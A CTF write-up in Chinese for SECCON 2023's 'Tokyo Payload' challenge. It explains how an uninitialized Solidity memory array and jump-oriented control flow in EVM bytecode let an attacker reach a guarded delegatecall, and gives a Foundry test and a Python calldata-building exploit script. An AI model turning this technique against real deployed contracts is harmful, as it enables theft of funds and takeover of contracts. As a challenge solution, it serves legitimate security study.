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2023 | SECCON | Misc

Tokyo Payload

#smart contract #evm #bytecode #jump oriented programming

题目

What is Solidity?

nc tokyo-payload.seccon.games 31337

Setup.sol 
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.21;

import {TokyoPayload} from "./TokyoPayload.sol";

contract Setup {
    TokyoPayload public tokyoPayload;

    constructor() {
        tokyoPayload = new TokyoPayload();
    }

    function isSolved() public view returns (bool) {
        return tokyoPayload.solved();
    }
}
TokyoPayload.sol 
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.21;

contract TokyoPayload {
    bool public solved;
    uint256 public gasLimit;

    function tokyoPayload(uint256 x, uint256 y) public {
        require(x >= 0x40);
        resetGasLimit();
        assembly {
            calldatacopy(x, 0, calldatasize())
        }
        function()[] memory funcs;
        uint256 z = y;
        funcs[z]();
    }

    function load(uint256 i) public pure returns (uint256 a, uint256 b, uint256 c) {
        assembly {
            a := calldataload(i)
            b := calldataload(add(i, 0x20))
            c := calldataload(add(i, 0x40))
        }
    }

    function createArray(uint256 length) public pure returns (uint256[] memory) {
        return new uint256[](length);
    }

    function resetGasLimit() public {
        uint256[] memory arr;
        gasLimit = arr.length;
    }

    function delegatecall(address addr) public {
        require(msg.sender == address(0xCAFE));
        (bool success,) = addr.delegatecall{gas: gasLimit & 0xFFFF}("");
        require(success);
    }
}

解题思路

  • 目标是让 solved 为 true，而 TokyoPayload 没有直接设置 solved 的语句，显然需要借助 delegatecall
  • 地址检查限制了 TokyoPayload.delegatecall() 的调用，则只能通过 tokyoPayload() 跳转
  • 分配给 delegatecall 的 gas 取决于通过 arr.length 设置的 gasLimit，而 arr 是尚未初始化的内存数组，那么即读取 MEM[0x60] 中的值。calldatacopy 可以覆盖 MEM[0x60] 中的值，使得 arr.length > 0，由此可确定 \(x\in[40_{16}, 80_{16})\)（且由于每次调用 tokyoPayload() 都会重设 gasLimit，需要通过一次调用来完成多次跳转）

  • DELEGATECALL 所在块 JUMPDEST 的地址为 0x1a3，从栈顶到栈底调用栈应满足 [目标地址addr, 下一跳转地址, ...]

    • 希望代理调用结束后直接结束本次交易，下一跳转地址可以选择 0x93 DELEGATECALL block

  • 可通过 calldataload 将所需参数压入栈中，构造合适的调用栈。三个 CALLDATALOAD 所在块 JUMPDEST 的地址为 0xd0，从栈顶到栈底调用栈应满足 [起始地址i, 下一跳转地址, ...]。执行到 0xdf 时，栈中元素为 [下一跳转地址, c, b, a, ...]
    CALLDATALOAD block

  • 调用 tokyoPayload() 首次执行到函数跳转前，即 0x18e JUMP，对应源码 funcs[z]()，元素从栈顶到栈底依次为 [0x18f, y, 0x60, y, x, ...]

  • 在内存覆盖完成后，需要再次调用 resetGasLimit()，可以选择 0x153 JUMPDEST，此时 y 对应栈顶元素 STACK[0]，x 对应 STACK[1]
  • 由于需要使用 SSTORE 且对应 cold slot，至少需要 22100 gas，tokyoPayload() 的函数签名为 0x40c3 (16579)，可以设 x 为 0x7B (0x80 - 5)，这样 delegatecall 的 gasLimit 为 0xc300
  • 另外，0x17f 对应的块可以对栈结构进行微调，可用于跳转 0xd0 前，改变栈顶参数 i
    0x17f JUMPDEST

Exploit

  1. 调用 tokyoPayload()，覆盖内存，funcs[z]() 为 0x17f
  2. 0x17f MEM[0x20 * 0x18f + 0x20 + y] = 0xd0，执行到 0x18e JUMP 时，栈中元素从栈顶到栈底依次为 [0xd0, 0x60, y, ...]，由此 y 为 0x153
  3. 0xd0 构造栈，b 对应新的 x，c 对应新的 y
  4. 0x153 重设 gasLimit，下一跳转地址 0x1a3 对应 y，funcs[z]() 为 0xd0
  5. 0xd0 构造调用栈
  6. 0x1a3 代理调用
contract Logic {
    fallback() external payable {
        assembly {
            sstore(0, 1)
        }
    }
}

contract TokyoPayloadTest is Test {

    TokyoPayload public tokyoPayload;
    address logic;

    function setUp() public {
        tokyoPayload = new TokyoPayload();
        logic = address(new Logic());
    }

    function testSolve() public {
        string[] memory inputs = new string[](3);
        inputs[0] = "python3";
        inputs[1] = "script/generate.py";
        inputs[2] = Strings.toHexString(logic);
        bytes memory data = vm.ffi(inputs);
        (bool s, ) = address(tokyoPayload).call(data);
        require(s);
        require(tokyoPayload.solved());
    }
}

import sys

def place(offset, value: int):
    global data
    if l := len(data) // 2 < offset:
        data += '00' * (offset - l + 0x20)
    data = data[: offset * 2] + f'{value:064x}' + data[(offset + 0x20) * 2:]

target_addr = int(sys.argv[1], 16)
data = '000040c3'   # sig
data += f'{0x7b:064x}'  # x
data += f'{0x153:064x}' # y
place(0x4 + 0x153 * 0x20 + 1, 0x17f)   # funcs[0x153] = 0x17f
place(0x20 * 0x18f + 0x20 + 0x153 - 0x7b, 0xd0) # MEM[0x20 * 0x18f + 0x20 + y] = 0xd0
place(0x60 + 0x20, 0x7c) # b: new_x
place(0x60 + 0x40, 0x1a3) # c: new_y
place(0x4 + 0x1a3 * 0x20, 0xd0)   # funcs[0x1a3] = 0xd0
place(0x18f + 0x20, 0x93)   # b: STOP JUMPDEST
place(0x18f + 0x40, target_addr)   # c: DELEGATECALL target
print(data)

参考资料

最后更新: 2023年11月21日 17:31:19
Contributors: YanhuiJessica

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